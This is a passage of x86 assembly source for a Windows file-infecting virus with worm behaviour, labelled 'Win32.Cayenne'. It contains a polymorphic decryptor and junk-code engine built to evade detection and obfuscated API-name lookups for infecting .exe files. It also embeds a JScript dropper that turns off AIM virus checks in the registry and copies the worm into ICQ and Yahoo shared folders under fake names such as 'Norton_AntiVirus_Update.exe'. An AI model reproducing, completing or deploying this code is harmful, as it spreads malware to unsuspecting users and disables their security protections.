- idelta dd offset rj_meth3 - idelta dd offset rj_meth4 - idelta dd offset rj_meth5 - idelta dd offset rj_meth6 - idelta RJ_METHCNT equ 06h iRegJunk endp ; write 2 - 4 register junk instructions iRndRegJ proc pushad push 03h call rnd32r inc eax inc eax xchg eax, ecx call iGetJunkReg xchg eax, ebx irrj_loop: push ecx ebx call iRegJunk pop ebx ecx loop irrj_loop mov [esp], edi popad ret iRndRegJ endp ; memory junk generator iMemJunk proc push MJ_METHCNT call rnd32r mov edx, [ebp.mj_methods-idelta+4*eax] add edx, ebp push OPSIZE_16 + 1 call rnd32r call iGetWrMem jmp edx ; immediate operation on memory mj_meth1: push eax push OPTYPE_MOV + 3 call rnd32r cmp al, OPTYPE_MOV + 1 jb mj_m1_nmov mov al, OPTYPE_MOV mj_m1_nmov: xchg eax, ebx call rnd32 xchg eax, edx call rnd32 test al, 0Ch jz mj_m1_nsx movsx edx, dl mj_m1_nsx: pop eax mj_m1_nrc: jmp ciOpRMImm ; register operation on memory mj_meth2: push eax push OPTYPE_MOV + 3 call rnd32r cmp al, OPTYPE_MOV + 1 jb mj_m2_nmov mov al, OPTYPE_MOV mj_m2_nmov: mov bh, al call rnd32 test ah, 01h jz mj_m2_rndreg and al, REG_EDI mov bl, al mj_m2_rndreg: pop eax xor ah, ah ; MEM_REG jmp ciOpRMReg ; shift operation on memory mj_meth3: push eax push RND_SHIFT call rnd32r xchg ebx, eax push SHIFT_RND call rnd32r mov bh, al call rnd32 xchg eax, edx pop eax mov ah, dl jmp ciShiftRM mj_methods equ $ dd offset mj_meth1 - idelta dd offset mj_meth2 - idelta dd offset mj_meth3 - idelta MJ_METHCNT equ 03h iMemJunk endp ; input: bl = register ; output: al = operand size, bl = register iOpSizeReg proc push OPSIZE_16 + 1 call rnd32r test al, al jnz cr_nop cmp bl, REG_ESP jnb iOpSizeReg push eax call rnd32 and al, 04h xor bl, al pop eax cr_nop: ret iOpSizeReg endp ; input: cx, esi = memory ; output: al = operand size, cx, esi = memory iOpSizeMem proc push OPSIZE_16 + 1 call rnd32r ret iOpSizeMem endp ; gets random register, parameter or junk memory operand iGetMemory proc push eax gm_rep: xor eax, eax mov al, GM_METHCNT2 cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA jb gm_push inc eax inc eax gm_push: sub al, [ebp.InLoop-idelta] push eax call rnd32r add al, [ebp.InLoop-idelta] mov eax, [ebp.gm_methods-idelta+4*eax] add eax, ebp call eax pop eax ret ; get random parameter gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta] mov al, [ebp.ProcParameters-idelta+eax] ; parameter count test eax, eax jz gm_m1_ebp ; if no parameter, don't use this method push eax call rnd32r ; choose random parameter shl eax, 02h ; scale to dword add al, 08h ; first dword is return address mov esi, eax ; the displacement mov cx, REG_EBP ; relative to EBP ret gm_m1_ebp: mov cl, REG_EBP xor MOD_REG ret ; get random junk mem gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword shl eax, 02h dec eax dec eax dec eax push eax call rnd32r ; from junk memory add eax, [ebp.JunkSpRVA-idelta] ; add start rva xchg eax, esi mov cx, MOD_DIRECT ; return a direct address ret ; get random encrypted data gm_meth3: mov eax, [ebp.CryptSize-idelta] shl eax, 02h dec eax dec eax dec eax push eax call rnd32r add eax, [ebp.DecryptRVA-idelta] xchg eax, esi mov cx, MOD_DIRECT ret ; get encrypted data (RVA + 1/2/4*counter) gm_meth4: mov esi, [ebp.DecryptRVA-idelta] push 03h ; scaling factor 1, 2 or 4 call rnd32r mov ecx, eax push edx xor edx, edx inc edx shl edx, cl sub esi, edx pop edx shl eax, 03h xor al, [ebp.creg-idelta] mov ch, al mov cl, MOD_DIRECT ret ; get current encrypted dword gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without xor esi, esi ; displacement ret gm_methods equ $ dd offset gm_meth1 - idelta dd offset gm_meth2 - idelta GM_METHCNT3 equ 02h dd offset gm_meth3 - idelta GM_METHCNT2 equ 03h dd offset gm_meth4 - idelta dd offset gm_meth5 - idelta GM_METHCNT1 equ 05h iGetMemory endp iGetWrMem proc push eax push GM_METHCNT3 - 1 call rnd32r mov eax, [ebp.gm_methods-idelta+4+4*eax] add eax, ebp call eax pop eax ret iGetWrMem endp iGetPar proc ret iGetPar endp ; common junk procedures iGetJunkReg proc push 03h call rnd32r movzx eax, byte ptr [ebp.junkreg1-idelta+eax] ret iGetJunkReg endp iPushJunk proc pushad push PP_METHCNT ; random method to push call rnd32r ; a parameter mov eax, [ebp.pp_methods-idelta+4*eax] add eax, ebp call eax ; call da method mov [esp], edi popad ret ; push 8-bit immediate sign 'xtended to 32-bit pp_meth1: mov al, PUSH_IMM_SX stosb call rnd32 stosb ret ; push 32-bit immediate pp_meth2: mov al, PUSH_IMM stosb call rnd32 xchg eax, edx call rnd32 and eax, edx stosd ret ; push register pp_meth4: call rnd32 and al, REG_EDI xor al, PUSH_REG stosb ret ; push memory pp_meth3: call iGetMemory mov al, OP_GROUP5 stosb mov bl, P_PUSH jmp ciCreateOperand pp_methods equ $ dd offset pp_meth1 - idelta dd offset pp_meth2 - idelta dd offset pp_meth3 - idelta dd offset pp_meth4 - idelta dd offset pp_meth4 - idelta PP_METHCNT equ 05h iPushJunk endp iPopJunk proc call rnd32 test al, 01h jz pj_asdfklj mov al, POP_REG xor eax, ebx stosb ret pj_asdfklj: test al, 02h jz pj_blahblah call iGetWrMem mov al, POP_MEM stosb xor bl, bl jmp ciCreateOperand pj_blahblah: push 04h pop edx xor bl, bl test al, 04h jz pj_sueder add bl, OPTYPE_SUB neg edx pj_sueder: mov al, OPSIZE_32 mov cl, REG_ESP xor MOD_REG xor ch, ch call ciOpRMImm ret iPopJunk endp ; returns random dword (0..4294967295) rnd32 proc; [no parameterz] push ecx push edx mov eax, [ebp.RandomSeed-idelta] ; load random seed mov ecx, eax mov edx, eax not ecx and ecx, 03h ; loop 8-64 times inc ecx shl ecx, 03h rnd32_loop: push ecx mov ecx, edx ror eax, cl neg eax rol edx, cl dec edx pop ecx rnd32_blah: loop rnd32_loop xor eax, edx mov [ebp.RandomSeed-idelta], eax ; write back random seed pop edx pop ecx ret rnd32 endp ; returns random dword (0..[esp+4]) rnd32r proc; [range] push ecx push edx mov ecx, [esp+2*4+4] call rnd32 xor edx, edx div ecx xchg eax, edx pop edx pop ecx ret 04h rnd32r endp ; 'xchanges n bytes from address ESI (n has to be pushed) MixBytes proc; [count] [esi = ptr] pushad ; preserve all registers mov ebx, [esp.PUSHAD_SIZE+04h] mov ecx, ebx shl ecx, 01h ; loop counter (2 * # of bytes) xb_loop: push ebx ; number of bytes call rnd32r ; get first byte offset xchg eax, edx push ebx call rnd32r ; get second byte offset push ebx ; preserve number mov bl, [esi+eax] xchg [esi+edx], bl ; exchange bytes mov [esi+eax], bl pop ebx loop xb_loop popad ret 04h MixBytes endp ; writes 1 to 4 random bytes WriteJunk proc push eax push ecx push 04h ; get random value 0..3 call rnd32r inc eax ; +1 (1..4) xchg ecx, eax ; load into counter wj_loop: call rnd32 ; get a random byte stosb ; store it loop wj_loop pop ecx pop eax ret WriteJunk endp ; returns reg if it is a junk reg, otherwise -1 iIsJReg proc mov eax, [esp.04h] cmp [ebp.junkreg1-idelta], al je is_junkreg cmp [ebp.junkreg2-idelta], al je is_junkreg cmp [ebp.junkreg3-idelta], al je is_junkreg xor eax, eax dec eax is_junkreg: ret 04h iIsJReg endp ; generates TEST reg, reg/OR reg, reg/AND reg, reg gCheckReg proc ; generate MOD/RM byte with MOD_REG flag and twice the same ; register. pushad mov al, bl xor al, MOD_REG ; use as register mov cl, al xchg eax, ebx mov bh, OPTYPE_OR push 05h call rnd32r ; get random value cmp al, 03h jae gcr_zer0 test al, 02h jz gcr_and2 mov bh, OPTYPE_AND gcr_and2: test al, 01h jz gcr_not_test mov bh, OPTYPE_TEST gcr_not_test: call rnd32 and ah, REG_MEM ; random direction mov al, OPSIZE_32 call ciOpRMReg gcr_exit2: mov [esp], edi popad ret gcr_zer0: call rnd32 and al, OPTYPE_CMP cmp al, OPTYPE_ADC jb gcrz_1 cmp al, OPTYPE_AND jna gcr_zer0 gcrz_1: xchg eax, ebx xor edx, edx mov al, OPSIZE_32 call ciOpRMImm jmp gcr_exit2 gCheckReg endp ; generates SUB reg, reg/XOR reg, reg/AND reg, 0 gClearReg proc ; generate MOD/RM byte with MOD_REG flag and twice the same ; register. pushad mov al, bl shl al, 03h ; shift to REG field xor al, bl ; write RM field xor al, MOD_REG ; use as register xchg eax, ebx ; generate either a SUB reg, reg or XOR reg, reg mov cl, MATH_SUB or OPSIZE_32 push 03h call rnd32r ; get random value test al, 02h jnz gcr_and test al, 01h jz gcr_not_sub mov cl, MATH_XOR or OPSIZE_32 gcr_not_sub: and al, REG_MEM ; random direction or eax, ecx ; create opcode stosb ; store opcode xchg eax, ebx ; MOD/RM byte stosb ; store gcr_exit: mov [esp], edi popad ret gcr_and: xchg eax, ebx and al, MOD_REG xor REG_EDI xchg eax, ecx mov bl, OPTYPE_AND mov al, OPSIZE_32 xor edx, edx call ciOpRMImm jmp gcr_exit gClearReg endp ; loads reg (EBX) with immediate value (EDX) gLoadReg proc mov eax, edx shr eax, 0Fh jnz glr_notword push 03h ; the value is 0..32767, call rnd32r ; so we can choose sub al, 01h adc al, 00h glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX glr_word_val: test al, al jnz glr_not_zx push 02h call rnd32r test eax, eax jz glr_not_zx call gClearReg push 05h ; ADD/OR/SUB/XOR call rnd32r cmp al, OPTYPE_OR jbe glr_1 add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR glr_1: cmp al, OPTYPE_SUB jne glr_ns neg edx glr_ns: cmp al, OPTYPE_CMP jne glr_asdf inc eax glr_asdf: xchg eax, ebx xor al, MOD_REG xchg eax, ecx mov al, OPSIZE_16 jmp ciOpRMImm glr_not_zx: push eax call iGetJunkReg xchg eax, ecx call rnd32 test al, 03h ; chance of 1:4 to use same register jnz glr_blah1 mov ecx, ebx glr_blah1: mov al, OPSIZE_16 push ebx mov bl, OPTYPE_MOV xor ecx, 0FFFFFF00h xor MOD_REG call ciOpRMImm pop ebx and ecx, REG_EDI xchg ecx, ebx call iBlockJunkAR pop eax mov ah, ESC_2BYTE xor al, MOVX xor MOVX_WORD xchg ah, al stosw xchg ecx, ebx xor ecx, 0FFFFFF00h xor MOD_REG jmp ciCreateOperand glr_notword: inc eax shr eax, 11h ; if not zero, value is a negative word jnz glr_shift_sx ; we must use MOVSX mov eax, edx shr eax, 10h ; if zero, only first 16 bits are used jz glr_word_val ; we must use MOVZX push GLR_METHCNT ; choose between some methods call rnd32r mov eax, [ebp.glr_methods-idelta+eax*4] ; load method add eax, ebp ; relocate pointer to subroutine jmp eax ; jump to method. ; method 1: mov reg, imm glr_meth1: xchg eax, ebx ; get register xor al, MOV_REG_IMM32 ; add opcode stosb ; store opcode xchg eax, edx ; get immediate stosd ; store immediate ret ; method 2: clear reg; add/or/sub/xor reg, imm glr_meth2: call gClearReg ; clear the register push 04h ; ADD/OR/SUB/XOR call rnd32r cmp al, OPTYPE_OR jbe glr_m2_1 add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR glr_m2_1: cmp al, OPTYPE_SUB jne glr_m2_ns neg edx glr_m2_ns: call iBlockJunkAR xchg eax, ebx or al, MOD_REG ; register xchg eax, ecx mov al, OPSIZE_32 ; 32-bit operand jmp ciOpRMImm ; method 3: mov reg, rnd; ; sub/add/xor reg, imm add/sub/xor rnd glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode xor eax, ebx ; add register stosb ; store it call rnd32 ; get a random dword stosd ; store it xchg eax, edx ; random value xchg eax, ecx ; immediate call iBlockJunkAR ; generate junk block push 03h ; add, sub, xor call rnd32r test eax, eax ; add? jz glr_m3_1 add al, OPTYPE_SUB - 1 ; no, sub/xor glr_m3_1: test eax, eax jnz glr_m3_2 neg edx add edx, ecx ; - random + immediate glr_m3_2: cmp al, OPTYPE_SUB jnz glr_m3_3 sub edx, ecx ; random - immediate glr_m3_3: cmp al, OPTYPE_XOR jnz glr_m3_4 xor edx, ecx ; random xor immediate glr_m3_4: xchg eax, ebx or al, MOD_REG xchg eax, ecx mov al, OPSIZE_32 jmp ciOpRMImm ; method 4: mov reg, imm ror/rol rnd; ; ror/rol reg, rnd glr_meth4: call rnd32 and al, 1Fh jz glr_meth4 xchg eax, ecx xchg eax, edx push ebx mov bl, ROL_SHIFT test ch, 01h jz glr_m4_rol rol eax, cl inc ebx jmp glr_m4_ror glr_m4_rol: ror eax, cl glr_m4_ror: xchg dl, cl pop ecx mov byte ptr [edi], MOV_REG_IMM32 xor [edi], cl inc edi stosd xchg ah, dl xchg ebx, ecx call iBlockJunkAR xchg ebx, ecx mov al, OPSIZE_32 mov bh, SHIFT_IMM cmp ah, 01h jnz glr_m4_n1 inc bh glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG jmp ciShiftRM glr_methods equ $ dd offset glr_meth1 - idelta dd offset glr_meth2 - idelta dd offset glr_meth3 - idelta dd offset glr_meth4 - idelta GLR_METHCNT equ 04h gLoadReg endp ; relocates a long jump (32-bit displacement) ; [address of disp] points to the byte after the opcode RelLongJmp proc; [address], [address of disp] push eax push edi mov eax, [esp.0Ch] ; where to jump mov edi, [esp.10h] ; address of displacement neg edi lea eax, [eax+edi-04h] neg edi stosd pop edi pop eax ret 08h RelLongJmp endp ciShiftRM proc pushad test al, OPSIZE_16 ; check if 16-bit operand jz ciSRno_prefix ; no, we don't need a prefix mov byte ptr [edi], 66h ; write prefix inc edi ; increment pointer dec eax ; change operand size to 32-bit ciSRno_prefix: cmp ah, 01h jnz ciSRasdlkfj cmp bh, SHIFT_IMM test bh, bh jnz ciSRasdlkfj mov bh, SHIFT_1 ciSRasdlkfj: test bh, bh jz ciSRt_imm ; shift by immediate value test bh, SHIFT_CL jz ciSRt_1 or al, 02h ciSRt_1: or al, 10h ciSRt_imm: or al, OP_SHIFT stosb cmp bl, SAR_SHIFT jnz ciSRnot_sar inc ebx ciSRnot_sar: mov al, bh push eax call ciCreateOperand pop eax test al, SHIFT_1 or SHIFT_CL jnz ciSRexit xchg al, ah stosb ciSRexit: mov [esp], edi popad ret ciShiftRM endp ciOpRMReg proc pushad cmp al, OPSIZE_16 ; check if 16-bit operand jnz ciORRno_prefix ; no, we don't need a prefix mov byte ptr [edi], 66h ; write prefix inc edi ; increment pointer dec eax ; change operand size to 32-bit ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction jnz ciORRlame1 mov bh, 090h ; real opcode ROR 3 xor ah, ah ; we can only use MEM_REG ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction jnz ciORRlame2 mov bh, 0D0h ; real opcode ROR 3 test al, al ; check if 8-bit operand jz ciORRlame2 ; next 2 checkz are obsolete mov dl, cl and dl, MOD_REG cmp dl, MOD_REG jnz ciORRblah xchg cl, bl test cl, cl ; check if reg field is eax jz ciORRxchgeax ; yes, generate xchg eAX, ?? xchg bl, cl cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax jnz ciORRlame2 ciORRxchgeax: test cl, MOD_DISP8 jz ciORRblah test cl, MOD_DISP32 jz ciORRblah mov al, bl ; BL contains reg and al, 3Fh ; clear MOD_REG bits or al, XCHG_EAX_REG ; generate opcode stosb ; store opcode jmp ciORRexit ; done! we saved one byte, but ; poly engine grows 25 bytes :p ciORRblah: ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction jnz ciORRlame3 mov bh, 011h ; real opcode ROR 3 ciORRlame3: shl ah, 1 or al, ah ; operand size + direction rol bh, 03h ; operation number ROL 3 or al, bh stosb ; store opcode call ciCreateOperand ; create R/M byte ciORRexit: mov [esp], edi popad ret ciOpRMReg endp ciOpRMImm proc pushad push edx mov edx, eax cmp al, OPSIZE_16 ; are we usin' 16-bit operands? jnz ciORIno_prefix ; no, we don't need a prefix. mov byte ptr [edi], 66h ; store prefix inc edi dec eax ; check for MOV operation ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation? jnz ciORInot_mov ; no, check next ; check if operand is register push eax ; push operand size. mov eax, ecx xor al, MOD_REG ; invert MOD_??? bits test al, MOD_REG ; they aren't 00 now? jnz ciORInot_reg ; operand is not register pop ecx ; pop operand size shl cl, 03h ; generate B0h or B8h opcode or al, cl ; register OR operand size or al, MOV_REG_IMM stosb ; store opcode jmp ciORIwrite_imm ; write immediate ; generate MOV mem, imm ciORInot_reg: pop eax ; pop operand size or al, MOV_MEM_IMM stosb xor ebx, ebx jmp ciORIcreate_rm ; Check for TEST operation ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation? jnz ciORInot_test ; no, check next cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL? jnz ciORInot_eax1 or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm stosb jmp ciORIwrite_imm ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3 stosb ; store xor bl, bl ; TEST r/m, Ib/Iv jmp ciORIcreate_rm ; check if EAX/AX/AL register. ; if yes, we can generate opcode by shifting left operation ; type by 03h, adding 04h and adding operand size. ciORInot_test: ; if all above fails, generate operation from immediate ; group (group 1). opcode 80h or operand size. ; if it is a 32-bit immediate, we check if immediate value ; fits in byte (-128 <= immediate >= 127). we can save 3 ; bytes that will be 000000h or FFFFFFh anyway. :-% push edx or al, OP_GROUP1 test al, OPSIZE_32 jz ciORIblah mov edx, [esp + 04h] movsx edx, dl cmp edx, [esp + 04h] jne ciORIblah inc eax and byte ptr [esp], 00h inc eax ; use byte imm, sign extended to dword ciORIblah: jnz ciORInot_eax2 pop edx cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL? jnz ciORInot_eax3 ; nope, create operation ; from group 1 (immediate ops) shl bl, 03h ; operation type or bl, USE_EAX ; opcode ?4h or ?5h and al, 01h or al, bl ; add operand size stosb ; store opcode jmp ciORIwrite_imm ; write immediate value ciORInot_eax2: pop edx ciORInot_eax3: stosb ciORIcreate_rm: call ciCreateOperand ciORIwrite_imm: test dl, dl jz ciORIimm8 test dl, OPSIZE_16 jnz ciORIimm16 pop eax stosd jmp ciORIexit ciORIimm16: pop eax stosw jmp ciORIexit ciORIimm8: pop eax stosb ciORIexit: mov [esp], edi popad ret ciOpRMImm endp ciCreateOperand proc pushad mov eax, ecx and al, MOD_REG cmp al, MOD_REG ; R/M operand = register? jz COcreate_mr ; yes, directly to ciCreateMODRM test cl, MOD_DIRECT ; direct addressing? jnz COno_disp mov eax, esi test eax, eax ; displacement = 0? jz COno_disp ; don't use displacement or cl, MOD_DISP32 ; set 32-bit displacement test cl, MOD_DIRECT jnz COno_disp movsx eax, al cmp eax, esi jne COno_disp xor cl, MOD_REG COno_disp: test ch, ch ; second index register? jz COcreate_mr ; no, we don't need SIB or cl, MOD_SIB ; set SIB flag COcreate_mr: shl ebx, 03h ; register ; let's check if operand is register mov eax, ecx and al, MOD_REG ; clear bits 0-5 xor al, MOD_REG ; invert bit 6 & 7 jnz CMblah1 ; memory operand. xchg eax, ecx and al, 0C7h or eax, ebx stosb ; directly create it! xor eax, eax ; return MOD_NODISP jmp CMexit1 CMblah1: mov eax, ecx and al, 0C7h cmp al, REG_EBP ; EBP and no displacement? jnz CMblah2 or cl, MOD_DISP8 ; use 8-bit displacement CMblah2: mov eax, ecx and al, 07h or MOD_DIRECT or MOD_SIB cmp al, REG_ESP ; ESP is index reg? jnz CMblah3 ; nope or eax, ebx and cl, MOD_REG or eax, ecx stosb mov byte ptr [edi], 24h inc edi and al, MOD_REG jmp CMexit1 CMblah3: mov eax, ecx test al, MOD_DIRECT ; direct addressing? jz CMblah4 ; nope and cl, 38h or cl, REG_EBP ; no displacement and EBP CMblah4: mov eax, ecx test al, MOD_SIB ; do we have SIB byte? jz CMblah6 ; no SIB byte ; set ESP as index register (SIB) and al, 0C0h or MOD_SIB or MOD_DIRECT or al, REG_ESP and cl, 0C7h or MOD_SIB or MOD_DIRECT CMblah6: and al, 0C7h or eax, ebx stosb mov eax, ecx and al, 0C7h or MOD_SIB or MOD_DIRECT CMexit1: ; created MOD/RM byte. now let's do the displacement test eax, eax ; no displacement? jz COexit ; yes, exit test al, MOD_SIB ; SIB byte? jz COblah ; no, don't store SIB byte shl ch, 03h ; creatin' SIB byte push eax ; preserving addressing mode and al, REG_RND - 1 ; mask base register or al, ch stosb ; store SIB byte pop eax COblah: test al, MOD_DIRECT ; direct addressing? jnz COdirect ; yes, store VA & exit COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement? jz COblah3 ; no, perform next check xchg esi, eax stosb jmp COexit COblah3: test al, MOD_DISP32 jz COexit COdirect: xchg esi, eax stosd COexit: mov [esp], edi popad ret ciCreateOperand endp ; initialized data ; db '[ind00r] polymorphic engine by slurp', 0 ; end of ipe32 Data: FileHandle dd 0h KernelMZ dd 0h counter dw 0h db 'Win32.Cayenne by Necronomikon[DCA]',0 TempAPI dd 0h KernelPE dd 0h NTableVA dd 0h TempApisearch3 dd 0h WormFile2 db 'C:\cayenne.txt.pif',0 ATableVA dd 0h NTableTemp dd 0h NewEIP dd 0h AlignReg2 dd 0h Shell32 db 'Shell32.dll',0 XShellExecuteA dd 0h ; decryptor instructions generator addresses (relative to idelta) Generatorz dd offset iProcLdPtr - idelta ; load pointer dd offset iProcLdCnt - idelta ; load counter dd offset iProcLdKey - idelta ; load key dd offset iProcDecData - idelta ; decrypt data dd offset iProcIncKey - idelta ; increment key dd offset iProcIncPtr - idelta ; increment pointer dd offset iProcDecCnt - idelta ; decrement counter dd offset iProcFPUFool - idelta ; neat stuff :O ; junk instruction generator addresses (relative to idelta) JunkGen dd offset iMemJunk - idelta dd offset iRegJunk - idelta JUNKGEN_CNT equ 02h ; decryptor procedures are called in this order: CallOrder1 db LOAD_POINTER ; ¿ db LOAD_COUNTER ; Ã these procedures can db LOAD_KEY ; Ù be mixed. CALL_ORDER_1 equ $ - CallOrder1 db DECRYPT_DATA ; stays at its place CALL_ORDER_2 equ $ - CallOrder1 CallOrder2 db INC_KEY ; ¿ db INC_POINTER ; Ã these procedures can db DEC_COUNTER ; ³ be mixed. db FPU_FOOL ; ³ db JUNK_PROCS dup (JUNK_PROC) ; Ù ; procedure order (1 byte for each procedures that will be mixed randomly) ProcedureOrder db LOAD_POINTER db LOAD_COUNTER db LOAD_KEY db DECRYPT_DATA db INC_KEY db INC_POINTER db DEC_COUNTER db FPU_FOOL db JUNK_PROCS dup (JUNK_PROC) PROC_ORDER equ $ - ProcedureOrder ; registerz Registers equ $ preg db REG_ECX ; pointer register creg db REG_EDX ; counter register kreg db REG_EAX ; key register junkreg1 db REG_EBX ; junk register 1 junkreg2 db REG_ESI ; junk register 2 junkreg3 db REG_EDI ; junk register 3 USED_REGS equ $ - Registers RandomConst dd RANDOM_SEED ; random seed constant (unchanged ; during runtime) idelta equ $ ; delta offset (held in ebp) ; uninitialized data RandomSeed dd ? ; random seed (changed) InitValues equ $ ; some values we have to initialize JunkSpSize dd ? ; size of junk space JunkSpRVA dd ? ; address of junk space DecryptRVA dd ? ; address of encrypted code CryptSize dd ? ; size of crypted code EncryptRVA dd ? ; address of code to encrypt CryptKey dd ? ; encryption key KeyIncrement dd ? ; key incrementation CryptType db ? ; encryption type (byte) KeyIncType db ? ; key increment type (byte) ProcParameters db MAX_PROCS + 1 dup (?) ProcAddress dd MAX_PROCS + 1 dup (?) JunkProcs db ? ; number of junk procedures ProcCount db ? ; number of procedures CurrentProc db ? ; identifies current procedure when ; in the generator loop. InLoop db ? ; boolean, if true we are ; generating decryptor loop nojunk db ? WormDropper: db '//IM-Worm.Cayenne',13,10 db '//(c)by Necronomikon[DCA]',13,10 db 'var N1="Curry_Chicken.txt.pif"',13,10 db 'var N2="hotstuff.jpg.exe"',13,10 db 'var N3="pepperhouse.gif.exe"',13,10 db 'var N4="Norton_AntiVirus_Update.exe"',13,10 db 'var N5="Necronomikon_is_back.doc.pif"',13,10 db 'var WS=WScript.CreateObject("WScript.Shell")',13,10 db 'var fso=WScript.CreateObject("Scripting.FileSystemObject")',13,10 db 'var pdir = WS.RegRead ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProgramFilesDir")',13,10 db 'var aimsn = WS.RegRead ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\Login\\screenname")',13,10 db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\dirdownload","c:\\downloads")',13,10 db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruscheck","1")',13,10 db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruswarndlg","1")',13,10 db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Path","WINDIR%\\cayenne.exe")',13,10 db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Enable","Yes")',13,10 db 'fso.CreateFolder ("c:\\downloads")',13,10 db 'var copyme=new Array(N1,N2,N3,N4,N5)',13,10 db 'var Rndphiles=copyme[Math.round(Math.random()*4)];',13,10 db 'phile = fso.GetFile("c:\\cayenne.txt.pif")',13,10 db 'if (fso.FileExists("c:\\cayenne.txt.pif"))',13,10 db '{',13,10 db 'phile.Copy("c:\\downloads\\"+Rndphiles,true);',13,10 db '}',13,10 db 'if (fso.folderexists(pdir+"\\icq\\shared files\\"))',13,10 db '{',13,10 db 'phile.Copy(pdir+"\\icq\\shared files\\"+Rndphiles,true);',13,10 db '}',13,10 db 'if (fso.folderexists(pdir+"\\icqlite\\shared files\\"))',13,10 db '{',13,10 db 'phile.Copy(pdir+"\\icqlite\\shared files\\"+Rndphiles,true);',13,10 db '}',13,10 db 'if (fso.folderexists(pdir+"\\Yahoo!\\Companion\\Download\\"))',13,10 db '{',13,10 db 'phile.Copy(pdir+"\\Yahoo!\\Companion\\Download\\"+Rndphiles,true);',13,10 db '}',13,10 db 'phile.Delete();',13,10 EndWormDropper: WormLen equ ( offset EndWormDropper - offset WormDropper ) AlignReg1 dd 0h ShellExApi db 'ShellExecuteA',0 OTableVA dd 0h Write dd 0h OldEIP dd 0h InfCounter dd 0h APINames: dd 'Co'+'py'+'Fi'+'le'+'A'*100h dd 'Un'+'ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h dd 'Fi'+'nd'+'Cl'+'os'+'e'*100h dd 'Se'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA' dd 'Ge'+'tW'+'in'+'do'+'ws'+'Di'+'re'+'ct'+'or'+'yA' dd 'Ge'+'tP'+'ro'+'cA'+'dd'+'re'+'ss' dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA' dd 'Ge'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA' dd 'Ge'+'tS'+'ys'+'te'+'mD'+'ir'+'ec'+'to'+'ry'+'A'*100h dd 'Fi'+'nd'+'Fi'+'rs'+'tF'+'il'+'eA' dd 'Lo'+'ad'+'Li'+'br'+'ar'+'yA' dd 'Ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h dd 'Fi'+'nd'+'Ne'+'xt'+'Fi'+'le'+'A'*100h dd 'Wr'+'it'+'eF'+'il'+'e'*100h dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h Trash1 dd 0h OldDirectory db 255d dup (0h) DirectoryBuffer db 255d dup (0h) FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) filemask db '*.Exe',0 WormFile db 'notepad.exe',0 WormName db 'C:\cayenne.js', 0 MapAddress dd 0h NewSize dd 0h OldBase dd 400000h MapHandle dd 0h FindHandle dd 0h APIOffsets: XCopyFileA dd 0h XUnmapViewOfFile dd 0h XCloseHandle dd 0h XFindClose dd 0h XSetCurrentDirectoryA dd 0h XGetWindowsDirectoryA dd 0h XGetProcAddress dd 0h XCreateFileMappingA dd 0h XGetCurrentDirectoryA dd 0h XGetSystemDirectoryA dd 0h XFindFirstFileA dd 0h XLoadLibraryA dd 0h XMapViewOfFile dd 0h XFindNextFileA dd 0h XWriteFile dd 0h XCreateFileA dd 0h GetOtherApis: push ecx and eax, 34475376d push edx push edx call dword ptr [ebp+XLoadLibraryA] push eax pop edx pop ecx pop edx GetOtherApiLoop: push ecx shr eax, 26d push edx push ecx push edx call dword ptr [ebp+XGetProcAddress] pop ecx pop edx mov dword ptr [esi], eax add esi, 4d sub ebx, 1 test ebx, ebx jz GetOtherApiEnd GetOtherApiLoop2: inc ecx cmp byte ptr [ecx], 0 je GetOtherApiLoop2 inc ecx jmp GetOtherApiLoop GetOtherApiEnd: ret SearchAPI1: ; Procedure to retrieve API Offsets pushad ; clear the counter mov word ptr [ebp+counter], 0h mov edx, ( -1d + 1d ) sub edx, 1d and edx, dword ptr [ebp+NTableVA] 